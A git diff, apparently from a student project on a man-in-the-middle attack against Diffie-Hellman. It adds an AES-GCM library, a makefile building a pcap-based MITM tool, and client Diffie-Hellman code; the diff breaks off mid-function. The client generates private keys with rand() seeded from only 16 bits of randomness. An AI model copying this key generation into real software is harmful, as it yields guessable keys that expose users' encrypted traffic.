||||
{
|
||||
size_t i, llen;
|
||||
const aes_uchar *pos = buf;
|
||||
const size_t line_len = 16;
|
||||
|
||||
if (level < aes_debug_level)
|
||||
return;
|
||||
|
||||
aes_debug_print_timestamp();
|
||||
if (!show) {
|
||||
printf("%s - hexdump_ascii(len=%lu): [REDACTED]\n",
|
||||
title, (unsigned long) len);
|
||||
return;
|
||||
}
|
||||
if (buf == NULL) {
|
||||
printf("%s - hexdump_ascii(len=%lu): [NULL]\n",
|
||||
title, (unsigned long) len);
|
||||
return;
|
||||
}
|
||||
printf("%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len);
|
||||
while (len) {
|
||||
llen = len > line_len ? line_len : len;
|
||||
printf(" ");
|
||||
for (i = 0; i < llen; i++)
|
||||
printf(" %02x", pos[i]);
|
||||
for (i = llen; i < line_len; i++)
|
||||
printf(" ");
|
||||
printf(" ");
|
||||
for (i = 0; i < llen; i++) {
|
||||
if (isprint(pos[i]))
|
||||
printf("%c", pos[i]);
|
||||
else
|
||||
printf("_");
|
||||
}
|
||||
for (i = llen; i < line_len; i++)
|
||||
printf(" ");
|
||||
printf("\n");
|
||||
pos += llen;
|
||||
len -= llen;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||
size_t len)
|
||||
{
|
||||
_aes_hexdump_ascii(level, title, buf, len, 1);
|
||||
}
|
||||
|
||||
|
||||
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
|
||||
size_t len)
|
||||
{
|
||||
_aes_hexdump_ascii(level, title, buf, len, aes_debug_show_keys);
|
||||
}
|
60
MITM/aes-debug.h
Normal file
60
MITM/aes-debug.h
Normal file
@ -0,0 +1,60 @@
|
||||
#ifndef AES_DEBUG_H
|
||||
#define AES_DEBUG_H
|
||||
|
||||
/* gettimeofday */
|
||||
|
||||
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
|
||||
|
||||
struct timezone
|
||||
{
|
||||
int tz_minuteswest; /* minutes west of Greenwich */
|
||||
int tz_dsttime; /* type of dst correction */
|
||||
};
|
||||
|
||||
struct timeval {
|
||||
int tv_sec;
|
||||
int tv_usec;
|
||||
};
|
||||
|
||||
extern int gettimeofday(struct timeval *tv, struct timezone *tz);
|
||||
|
||||
#else
|
||||
#include <sys/time.h>
|
||||
#endif
|
||||
|
||||
/* Debugging function - conditional printf and hex dump */
|
||||
|
||||
enum {
|
||||
MSG_EXCESSIVE, MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR
|
||||
};
|
||||
|
||||
extern int aes_debug_level;
|
||||
extern int aes_debug_show_keys;
|
||||
extern int aes_debug_timestamp;
|
||||
|
||||
#ifndef AES_DEBUG
|
||||
|
||||
#define aes_debug_print_timestamp() do { } while (0)
|
||||
#define aes_printf(args...) do { } while (0)
|
||||
#define aes_hexdump(l,t,b,le) do { } while (0)
|
||||
#define aes_hexdump_buf(l,t,b) do { } while (0)
|
||||
#define aes_hexdump_key(l,t,b,le) do { } while (0)
|
||||
#define aes_hexdump_buf_key(l,t,b) do { } while (0)
|
||||
#define aes_hexdump_ascii(l,t,b,le) do { } while (0)
|
||||
#define aes_hexdump_ascii_key(l,t,b,le) do { } while (0)
|
||||
#define aes_dbg(args...) do { } while (0)
|
||||
|
||||
#else
|
||||
void aes_debug_print_timestamp(void);
|
||||
void aes_printf(int level, const char *fmt, ...) __attribute__ ((format (printf, (2), (3))));
|
||||
void aes_hexdump(int level, const char *title, const void *buf, size_t len);
|
||||
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len);
|
||||
void aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||
size_t len);
|
||||
|
||||
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
|
||||
size_t len);
|
||||
|
||||
#endif /* AES_DEBUG_STDOUT */
|
||||
|
||||
#endif /* AES_DEBUG_H */
|
312
MITM/aes-gcm.c
Normal file
312
MITM/aes-gcm.c
Normal file
@ -0,0 +1,312 @@
|
||||
#include "aes.h"
|
||||
|
||||
static void inc32(aes_uchar *block)
|
||||
{
|
||||
aes_uint val;
|
||||
val = AES_GET_BE32(block + AES_BLOCK_SIZE - 4);
|
||||
val++;
|
||||
AES_PUT_BE32(block + AES_BLOCK_SIZE - 4, val);
|
||||
}
|
||||
|
||||
|
||||
static void xor_block(aes_uchar *dst, const aes_uchar *src)
|
||||
{
|
||||
aes_uint *d = (aes_uint *) dst;
|
||||
aes_uint *s = (aes_uint *) src;
|
||||
*d++ ^= *s++;
|
||||
*d++ ^= *s++;
|
||||
*d++ ^= *s++;
|
||||
*d++ ^= *s++;
|
||||
}
|
||||
|
||||
|
||||
static void shift_right_block(aes_uchar *v)
|
||||
{
|
||||
aes_uint val;
|
||||
|
||||
val = AES_GET_BE32(v + 12);
|
||||
val >>= 1;
|
||||
if (v[11] & 0x01)
|
||||
val |= 0x80000000;
|
||||
AES_PUT_BE32(v + 12, val);
|
||||
|
||||
val = AES_GET_BE32(v + 8);
|
||||
val >>= 1;
|
||||
if (v[7] & 0x01)
|
||||
val |= 0x80000000;
|
||||
AES_PUT_BE32(v + 8, val);
|
||||
|
||||
val = AES_GET_BE32(v + 4);
|
||||
val >>= 1;
|
||||
if (v[3] & 0x01)
|
||||
val |= 0x80000000;
|
||||
AES_PUT_BE32(v + 4, val);
|
||||
|
||||
val = AES_GET_BE32(v);
|
||||
val >>= 1;
|
||||
AES_PUT_BE32(v, val);
|
||||
}
|
||||
|
||||
|
||||
/* Multiplication in GF(2^128) */
|
||||
static void gf_mult(const aes_uchar *x, const aes_uchar *y, aes_uchar *z)
|
||||
{
|
||||
aes_uchar v[16];
|
||||
int i, j;
|
||||
|
||||
memset(z, 0, 16); /* Z_0 = 0^128 */
|
||||
memcpy(v, y, 16); /* V_0 = Y */
|
||||
|
||||
for (i = 0; i < 16; i++) {
|
||||
for (j = 0; j < 8; j++) {
|
||||
if (x[i] & 1 << (7 - j)) {
|
||||
/* Z_(i + 1) = Z_i XOR V_i */
|
||||
xor_block(z, v);
|
||||
} else {
|
||||
/* Z_(i + 1) = Z_i */
|
||||
}
|
||||
|
||||
if (v[15] & 0x01) {
|
||||
/* V_(i + 1) = (V_i >> 1) XOR R */
|
||||
shift_right_block(v);
|
||||
/* R = 11100001 || 0^120 */
|
||||
v[0] ^= 0xe1;
|
||||
} else {
|
||||
/* V_(i + 1) = V_i >> 1 */
|
||||
shift_right_block(v);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void ghash_start(aes_uchar *y)
|
||||
{
|
||||
/* Y_0 = 0^128 */
|
||||
memset(y, 0, 16);
|
||||
}
|
||||
|
||||
|
||||
static void ghash(const aes_uchar *h, const aes_uchar *x, size_t xlen, aes_uchar *y)
|
||||
{
|
||||
size_t m, i;
|
||||
const aes_uchar *xpos = x;
|
||||
aes_uchar tmp[16];
|
||||
|
||||
m = xlen / 16;
|
||||
|
||||
for (i = 0; i < m; i++) {
|
||||
/* Y_i = (Y^(i-1) XOR X_i) dot H */
|
||||
xor_block(y, xpos);
|
||||
xpos += 16;
|
||||
|
||||
/* dot operation:
|
||||
* multiplication operation for binary Galois (finite) field of
|
||||
* 2^128 elements */
|
||||
gf_mult(y, h, tmp);
|
||||
memcpy(y, tmp, 16);
|
||||
}
|
||||
|
||||
if (x + xlen > xpos) {
|
||||
/* Add zero padded last block */
|
||||
size_t last = x + xlen - xpos;
|
||||
memcpy(tmp, xpos, last);
|
||||
memset(tmp + last, 0, sizeof(tmp) - last);
|
||||
|
||||
/* Y_i = (Y^(i-1) XOR X_i) dot H */
|
||||
xor_block(y, tmp);
|
||||
|
||||
/* dot operation:
|
||||
* multiplication operation for binary Galois (finite) field of
|
||||
* 2^128 elements */
|
||||
gf_mult(y, h, tmp);
|
||||
memcpy(y, tmp, 16);
|
||||
}
|
||||
|
||||
/* Return Y_m */
|
||||
}
|
||||
|
||||
|
||||
static void aes_gctr(void *aes, const aes_uchar *icb, const aes_uchar *x, size_t xlen, aes_uchar *y)
|
||||
{
|
||||
size_t i, n, last;
|
||||
aes_uchar cb[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE];
|
||||
const aes_uchar *xpos = x;
|
||||
aes_uchar *ypos = y;
|
||||
|
||||
if (xlen == 0)
|
||||
return;
|
||||
|
||||
n = xlen / 16;
|
||||
|
||||
memcpy(cb, icb, AES_BLOCK_SIZE);
|
||||
/* Full blocks */
|
||||
for (i = 0; i < n; i++) {
|
||||
aes_encrypt(aes, cb, ypos);
|
||||
xor_block(ypos, xpos);
|
||||
xpos += AES_BLOCK_SIZE;
|
||||
ypos += AES_BLOCK_SIZE;
|
||||
inc32(cb);
|
||||
}
|
||||
|
||||
last = x + xlen - xpos;
|
||||
if (last) {
|
||||
/* Last, partial block */
|
||||
aes_encrypt(aes, cb, tmp);
|
||||
for (i = 0; i < last; i++)
|
||||
*ypos++ = *xpos++ ^ tmp[i];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void * aes_gcm_init_hash_subkey(const aes_uchar *key, size_t key_len, aes_uchar *H)
|
||||
{
|
||||
void *aes;
|
||||
|
||||
aes = aes_encrypt_init(key, key_len);
|
||||
if (aes == NULL)
|
||||
return NULL;
|
||||
|
||||
/* Generate hash subkey H = AES_K(0^128) */
|
||||
memset(H, 0, AES_BLOCK_SIZE);
|
||||
aes_encrypt(aes, H, H);
|
||||
aes_hexdump_key(MSG_EXCESSIVE, "Hash subkey H for GHASH", H, AES_BLOCK_SIZE);
|
||||
return aes;
|
||||
}
|
||||
|
||||
|
||||
static void aes_gcm_prepare_j0(const aes_uchar *iv, size_t iv_len, const aes_uchar *H, aes_uchar *J0)
|
||||
{
|
||||
aes_uchar len_buf[16];
|
||||
|
||||
if (iv_len == 12) {
|
||||
/* Prepare block J_0 = IV || 0^31 || 1 [len(IV) = 96] */
|
||||
memcpy(J0, iv, iv_len);
|
||||
memset(J0 + iv_len, 0, AES_BLOCK_SIZE - iv_len);
|
||||
J0[AES_BLOCK_SIZE - 1] = 0x01;
|
||||
} else {
|
||||
/*
|
||||
* s = 128 * ceil(len(IV)/128) - len(IV)
|
||||
* J_0 = GHASH_H(IV || 0^(s+64) || [len(IV)]_64)
|
||||
*/
|
||||
ghash_start(J0);
|
||||
ghash(H, iv, iv_len, J0);
|
||||
AES_PUT_BE64(len_buf, 0);
|
||||
AES_PUT_BE64(len_buf + 8, iv_len * 8);
|
||||
ghash(H, len_buf, sizeof(len_buf), J0);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void aes_gcm_gctr(void *aes, const aes_uchar *J0, const aes_uchar *in, size_t len,
|
||||
aes_uchar *out)
|
||||
{
|
||||
aes_uchar J0inc[AES_BLOCK_SIZE];
|
||||
|
||||
if (len == 0)
|
||||
return;
|
||||
|
||||
memcpy(J0inc, J0, AES_BLOCK_SIZE);
|
||||
inc32(J0inc);
|
||||
aes_gctr(aes, J0inc, in, len, out);
|
||||
}
|
||||
|
||||
|
||||
static void aes_gcm_ghash(const aes_uchar *H, const aes_uchar *aad, size_t aad_len,
|
||||
const aes_uchar *crypt, size_t crypt_len, aes_uchar *S)
|
||||
{
|
||||
aes_uchar len_buf[16];
|
||||
|
||||
/*
|
||||
* u = 128 * ceil[len(C)/128] - len(C)
|
||||
* v = 128 * ceil[len(A)/128] - len(A)
|
||||
* S = GHASH_H(A || 0^v || C || 0^u || [len(A)]64 || [len(C)]64)
|
||||
* (i.e., zero padded to block size A || C and lengths of each in bits)
|
||||
*/
|
||||
ghash_start(S);
|
||||
ghash(H, aad, aad_len, S);
|
||||
ghash(H, crypt, crypt_len, S);
|
||||
AES_PUT_BE64(len_buf, aad_len * 8);
|
||||
AES_PUT_BE64(len_buf + 8, crypt_len * 8);
|
||||
ghash(H, len_buf, sizeof(len_buf), S);
|
||||
|
||||
aes_hexdump_key(MSG_EXCESSIVE, "S = GHASH_H(...)", S, 16);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* aes_gcm_ae - GCM-AE_K(IV, P, A)
|
||||
*/
|
||||
int aes_gcm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *plain, size_t plain_len,
|
||||
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *tag)
|
||||
{
|
||||
aes_uchar H[AES_BLOCK_SIZE];
|
||||
aes_uchar J0[AES_BLOCK_SIZE];
|
||||
aes_uchar S[16];
|
||||
void *aes;
|
||||
|
||||
aes = aes_gcm_init_hash_subkey(key, key_len, H);
|
||||
if (aes == NULL)
|
||||
return -1;
|
||||
|
||||
aes_gcm_prepare_j0(iv, iv_len, H, J0);
|
||||
|
||||
/* C = GCTR_K(inc_32(J_0), P) */
|
||||
aes_gcm_gctr(aes, J0, plain, plain_len, crypt);
|
||||
|
||||
aes_gcm_ghash(H, aad, aad_len, crypt, plain_len, S);
|
||||
|
||||
/* T = MSB_t(GCTR_K(J_0, S)) */
|
||||
aes_gctr(aes, J0, S, sizeof(S), tag);
|
||||
|
||||
/* Return (C, T) */
|
||||
|
||||
aes_encrypt_deinit(aes);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* aes_gcm_ad - GCM-AD_K(IV, C, A, T)
|
||||
*/
|
||||
int aes_gcm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *crypt, size_t crypt_len,
|
||||
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag, aes_uchar *plain)
|
||||
{
|
||||
aes_uchar H[AES_BLOCK_SIZE];
|
||||
aes_uchar J0[AES_BLOCK_SIZE];
|
||||
aes_uchar S[16], T[16];
|
||||
void *aes;
|
||||
|
||||
aes = aes_gcm_init_hash_subkey(key, key_len, H);
|
||||
if (aes == NULL)
|
||||
return -1;
|
||||
|
||||
aes_gcm_prepare_j0(iv, iv_len, H, J0);
|
||||
|
||||
/* P = GCTR_K(inc_32(J_0), C) */
|
||||
aes_gcm_gctr(aes, J0, crypt, crypt_len, plain);
|
||||
|
||||
aes_gcm_ghash(H, aad, aad_len, crypt, crypt_len, S);
|
||||
|
||||
/* T' = MSB_t(GCTR_K(J_0, S)) */
|
||||
aes_gctr(aes, J0, S, sizeof(S), T);
|
||||
|
||||
aes_encrypt_deinit(aes);
|
||||
|
||||
if (memcmp(tag, T, 16) != 0) {
|
||||
aes_printf(MSG_EXCESSIVE, "GCM: Tag mismatch");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int aes_gmac(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *aad, size_t aad_len, aes_uchar *tag)
|
||||
{
|
||||
return aes_gcm_ae(key, key_len, iv, iv_len, NULL, 0, aad, aad_len, NULL, tag);
|
||||
}
|
1021
MITM/aes-internal.c
Normal file
1021
MITM/aes-internal.c
Normal file
File diff suppressed because it is too large
Load Diff
113
MITM/aes-internal.h
Normal file
113
MITM/aes-internal.h
Normal file
@ -0,0 +1,113 @@
|
||||
#ifndef AES_INTERNAL_H
|
||||
#define AES_INTERNAL_H
|
||||
|
||||
extern const aes_uint Te0[256];
|
||||
extern const aes_uint Te1[256];
|
||||
extern const aes_uint Te2[256];
|
||||
extern const aes_uint Te3[256];
|
||||
extern const aes_uint Te4[256];
|
||||
extern const aes_uint Td0[256];
|
||||
extern const aes_uint Td1[256];
|
||||
extern const aes_uint Td2[256];
|
||||
extern const aes_uint Td3[256];
|
||||
extern const aes_uint Td4[256];
|
||||
extern const aes_uint rcon[10];
|
||||
extern const aes_uchar Td4s[256];
|
||||
extern const aes_uchar rcons[10];
|
||||
|
||||
#ifndef AES_SMALL_TABLES
|
||||
|
||||
#define RCON(i) rcon[(i)]
|
||||
|
||||
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||
#define TE1(i) Te1[((i) >> 16) & 0xff]
|
||||
#define TE2(i) Te2[((i) >> 8) & 0xff]
|
||||
#define TE3(i) Te3[(i) & 0xff]
|
||||
#define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
|
||||
#define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE44(i) (Te4[(i) & 0xff] & 0x000000ff)
|
||||
#define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000)
|
||||
#define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||
#define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00)
|
||||
#define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff)
|
||||
#define TE411(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
|
||||
#define TE422(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TE433(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE444(i) (Te4[(i) & 0xff] & 0x000000ff)
|
||||
#define TE4(i) (Te4[(i)] & 0x000000ff)
|
||||
|
||||
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||
#define TD1(i) Td1[((i) >> 16) & 0xff]
|
||||
#define TD2(i) Td2[((i) >> 8) & 0xff]
|
||||
#define TD3(i) Td3[(i) & 0xff]
|
||||
#define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000)
|
||||
#define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TD44(i) (Td4[(i) & 0xff] & 0x000000ff)
|
||||
#define TD0_(i) Td0[(i) & 0xff]
|
||||
#define TD1_(i) Td1[(i) & 0xff]
|
||||
#define TD2_(i) Td2[(i) & 0xff]
|
||||
#define TD3_(i) Td3[(i) & 0xff]
|
||||
|
||||
#else /* AES_SMALL_TABLES */
|
||||
|
||||
#define RCON(i) (rcons[(i)] << 24)
|
||||
|
||||
static inline aes_uint rotr(aes_uint val, int bits)
|
||||
{
|
||||
return (val >> bits) | (val << (32 - bits));
|
||||
}
|
||||
|
||||
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||
#define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8)
|
||||
#define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16)
|
||||
#define TE3(i) rotr(Te0[(i) & 0xff], 24)
|
||||
#define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
|
||||
#define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
|
||||
#define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000)
|
||||
#define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||
#define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00)
|
||||
#define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff)
|
||||
#define TE411(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
|
||||
#define TE422(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TE433(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE444(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
|
||||
#define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff)
|
||||
|
||||
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||
#define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8)
|
||||
#define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16)
|
||||
#define TD3(i) rotr(Td0[(i) & 0xff], 24)
|
||||
#define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24)
|
||||
#define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16)
|
||||
#define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8)
|
||||
#define TD44(i) (Td4s[(i) & 0xff])
|
||||
#define TD0_(i) Td0[(i) & 0xff]
|
||||
#define TD1_(i) rotr(Td0[(i) & 0xff], 8)
|
||||
#define TD2_(i) rotr(Td0[(i) & 0xff], 16)
|
||||
#define TD3_(i) rotr(Td0[(i) & 0xff], 24)
|
||||
|
||||
#endif /* AES_SMALL_TABLES */
|
||||
|
||||
#define GETU32(pt) (((aes_uint)(pt)[0] << 24) ^ \
|
||||
((aes_uint)(pt)[1] << 16) ^ \
|
||||
((aes_uint)(pt)[2] << 8) ^ \
|
||||
((aes_uint)(pt)[3]))
|
||||
#define PUTU32(ct, st) { \
|
||||
(ct)[0] = (aes_uchar)((st) >> 24); \
|
||||
(ct)[1] = (aes_uchar)((st) >> 16); \
|
||||
(ct)[2] = (aes_uchar)((st) >> 8); \
|
||||
(ct)[3] = (aes_uchar)(st); }
|
||||
|
||||
#define AES_PRIV_SIZE (4 * 4 * 15 + 4)
|
||||
#define AES_PRIV_NR_POS (4 * 15)
|
||||
|
||||
void aes_rijndael_encrypt(const aes_uint rk[], int Nr, const aes_uchar pt[16], aes_uchar ct[16]);
|
||||
void aes_rijndael_decrypt(const aes_uint rk[], int Nr, const aes_uchar ct[16], aes_uchar pt[16]);
|
||||
int aes_rijndael_key_setup_dec(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
|
||||
int aes_rijndael_key_setup_enc(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
|
||||
|
||||
#endif /* AES_I_H */
|
70
MITM/aes.h
Normal file
70
MITM/aes.h
Normal file
@ -0,0 +1,70 @@
|
||||
#ifndef AES_H
|
||||
#define AES_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define AES_FULL_UNROLL
|
||||
#define AES_SMALL_TABLES
|
||||
#define AES_BLOCK_SIZE 16
|
||||
|
||||
#include "aes-common.h"
|
||||
#include "aes-internal.h"
|
||||
#include "aes-debug.h"
|
||||
|
||||
void * aes_encrypt_init(const aes_uchar *key, size_t len);
|
||||
void aes_encrypt(void *ctx, const aes_uchar *plain, aes_uchar *crypt);
|
||||
void aes_encrypt_deinit(void *ctx);
|
||||
void * aes_decrypt_init(const aes_uchar *key, size_t len);
|
||||
void aes_decrypt(void *ctx, const aes_uchar *crypt, aes_uchar *plain);
|
||||
void aes_decrypt_deinit(void *ctx);
|
||||
|
||||
int AES_WARN_UNUSED_RESULT aes_wrap(const aes_uchar *kek, int n, const aes_uchar *plain, aes_uchar *cipher);
|
||||
int AES_WARN_UNUSED_RESULT aes_unwrap(const aes_uchar *kek, int n, const aes_uchar *cipher, aes_uchar *plain);
|
||||
int AES_WARN_UNUSED_RESULT omac1_aes_128_vector(const aes_uchar *key, size_t num_elem,
|
||||
const aes_uchar *addr[], const size_t *len,
|
||||
aes_uchar *mac);
|
||||
int AES_WARN_UNUSED_RESULT omac1_aes_128(const aes_uchar *key, const aes_uchar *data, size_t data_len,
|
||||
aes_uchar *mac);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_encrypt_block(const aes_uchar *key, const aes_uchar *in, aes_uchar *out);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_ctr_encrypt(const aes_uchar *key, const aes_uchar *nonce,
|
||||
aes_uchar *data, size_t data_len);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_eax_encrypt(const aes_uchar *key,
|
||||
const aes_uchar *nonce, size_t nonce_len,
|
||||
const aes_uchar *hdr, size_t hdr_len,
|
||||
aes_uchar *data, size_t data_len, aes_uchar *tag);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_eax_decrypt(const aes_uchar *key,
|
||||
const aes_uchar *nonce, size_t nonce_len,
|
||||
const aes_uchar *hdr, size_t hdr_len,
|
||||
aes_uchar *data, size_t data_len, const aes_uchar *tag);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_cbc_encrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
|
||||
size_t data_len);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_cbc_decrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
|
||||
size_t data_len);
|
||||
int AES_WARN_UNUSED_RESULT aes_gcm_ae(const aes_uchar *key, size_t key_len,
|
||||
const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *plain, size_t plain_len,
|
||||
const aes_uchar *aad, size_t aad_len,
|
||||
aes_uchar *crypt, aes_uchar *tag);
|
||||
int AES_WARN_UNUSED_RESULT aes_gcm_ad(const aes_uchar *key, size_t key_len,
|
||||
const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *crypt, size_t crypt_len,
|
||||
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag,
|
||||
aes_uchar *plain);
|
||||
int AES_WARN_UNUSED_RESULT aes_gmac(const aes_uchar *key, size_t key_len,
|
||||
const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *aad, size_t aad_len, aes_uchar *tag);
|
||||
int AES_WARN_UNUSED_RESULT aes_ccm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
|
||||
size_t M, const aes_uchar *plain, size_t plain_len,
|
||||
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *auth);
|
||||
int AES_WARN_UNUSED_RESULT aes_ccm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
|
||||
size_t M, const aes_uchar *crypt, size_t crypt_len,
|
||||
const aes_uchar *aad, size_t aad_len, const aes_uchar *auth,
|
||||
aes_uchar *plain);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* AES_H */
|
8
MITM/makefile
Normal file
8
MITM/makefile
Normal file
@ -0,0 +1,8 @@
|
||||
MITM:MITM.c aes-debug.o aes-gcm.o aes-internal.o
|
||||
gcc MITM.c -o MITM aes-debug.o aes-gcm.o aes-internal.o -l gmp -l pcap
|
||||
aes-debug.o:aes-debug.c
|
||||
gcc -c aes-debug.c -o aes-debug.o
|
||||
aes-gcm.o:aes-gcm.c
|
||||
gcc -c aes-gcm.c -o aes-gcm.o
|
||||
aes-internal.o:aes-internal.c
|
||||
gcc -c aes-internal.c -o aes-internal.o
|
142
client/Diffie_hellman.c
Normal file
142
client/Diffie_hellman.c
Normal file
@ -0,0 +1,142 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <gmp.h>
|
||||
#include <string.h>
|
||||
typedef struct{
|
||||
mpz_t prime;
|
||||
mpz_t base;
|
||||
mpz_t private_key;
|
||||
mpz_t public_key;
|
||||
mpz_t key; //g^(AB)
|
||||
FILE *urand;
|
||||
}Dh_key;
|
||||
void generate_random(size_t sz, unsigned char* random_bytes,Dh_key* dhk)
|
||||
{
|
||||
unsigned int init_random = 0;
|
||||
size_t i = 0;
|
||||
|
||||
if(0 == sz || NULL == random_bytes)
|
||||
{
|
||||
fprintf(stderr, "Wrong params for generate_random()\n");
|
||||
exit(1);
|
||||
}
|
||||
init_random ^= ((unsigned int)fgetc(dhk->urand) << 8)|fgetc(dhk->urand);
|
||||
srand(init_random);
|
||||
for(i = 0; i < sz; i++)
|
||||
{
|
||||
random_bytes[i] = rand();
|
||||
}
|
||||
}
|
||||
|
||||
void print_hex(unsigned char* value, unsigned int len){
|
||||
//printf("%d:",len);
|
||||
printf("exchange key:");
|
||||
for(int i=0;i<len;i++)
|
||||
printf("%02x ",value[i]);
|
||||
puts("");
|
||||
}
|
||||
|
||||
char* str2hex(char *hexStr){
|
||||
int len=strlen(hexStr)/2;
|
||||
unsigned char * hexvalue=(unsigned char*)malloc(len*sizeof(char));
|
||||
memset(hexvalue,0,len);
|
||||
for(int i=0;i<len;i++){
|
||||
if(hexStr[i*2]<='9'){
|
||||
hexvalue[i]=(hexStr[i*2]-'0')*16;
|
||||
}else
|
||||
hexvalue[i]=(hexStr[i*2]-87)*16; //aµÄÂëÊÇ97
|
||||
|
||||
if(hexStr[i*2+1]<='9'){
|
||||
hexvalue[i]+=(hexStr[i*2+1]-'0');
|
||||
}else
|
||||
hexvalue[i]+=(hexStr[i*2+1]-87);
|
||||
}
|
||||
return hexvalue;
|
||||
}
|
||||
|
||||
void generate_key(size_t sz, Dh_key* dhk)
|
||||
{
|
||||
unsigned char* random_bytes = NULL;
|
||||
|
||||
if(0 == sz || NULL == dhk->private_key)
|
||||
{
|
||||
fprintf(stderr, "Wrong params for generate_key()\n");
|
||||
exit(1);
|
||||
}
|
||||
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
|
||||
if(NULL == random_bytes)
|
||||
{
|
||||
fprintf(stderr, "Failed to allocate random bytes array for the private key\n");
|
||||
exit(1);
|
||||
}
|
||||
generate_random(sz, random_bytes, dhk);
|
||||
mpz_import(dhk->private_key, 1, -1, sz, -1, 0, (const void*)random_bytes);
|
||||
free(random_bytes);
|
||||
}
|
||||
|
||||
void init_prime(size_t sz,Dh_key* dhk)
|
||||
{
|
||||
mpz_t tmp;
|
||||
mpz_t x;
|
||||
unsigned char* random_bytes = NULL;
|
||||
|
||||
|
||||
if(0 == sz)
|
||||
{
|
||||
fprintf(stderr, "Wrong params for init_prime()\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
mpz_init(tmp);
|
||||
mpz_init(x);
|
||||
|
||||
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
|
||||
if(NULL == random_bytes)
|
||||
{
|
||||
